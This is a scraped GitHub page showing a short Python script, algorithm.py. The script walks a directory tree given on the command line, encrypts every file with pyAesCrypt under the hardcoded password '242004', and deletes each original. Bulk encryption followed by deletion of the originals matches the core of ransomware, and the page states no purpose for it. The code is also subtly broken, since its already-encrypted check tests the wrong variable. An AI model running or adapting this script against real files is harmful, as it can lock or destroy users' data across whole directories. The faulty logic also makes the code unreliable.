-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathalgorithm.py
27 lines (23 loc) · 868 Bytes
/
algorithm.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import sys
import pyAesCrypt
import os
PATH = '{}'.format(sys.argv[1])
ORIGINAL_NAMES = []
allfiles = []
for root, subfiles, files in os.walk(PATH):
for names in files:
allfiles.append(os.path.join(root,names))
# print(allfiles)
try:
for file in allfiles:
if names.endswith('.aes') is True:
print(os.path.basename(file) + " --- The_File_is_Already_Encrypted")
else:
print("Encrypting...." +os.path.basename(file))
pyAesCrypt.encryptFile('{}'.format((file)),
'{}'.format((file)+(".aes")),
passw='{}'.format('242004'),
bufferSize=(64 * 1024))
os.remove((file))
except ValueError:
print("THE FILES CANNOT BE ENCRYPTED DUE TO SOME REASON......")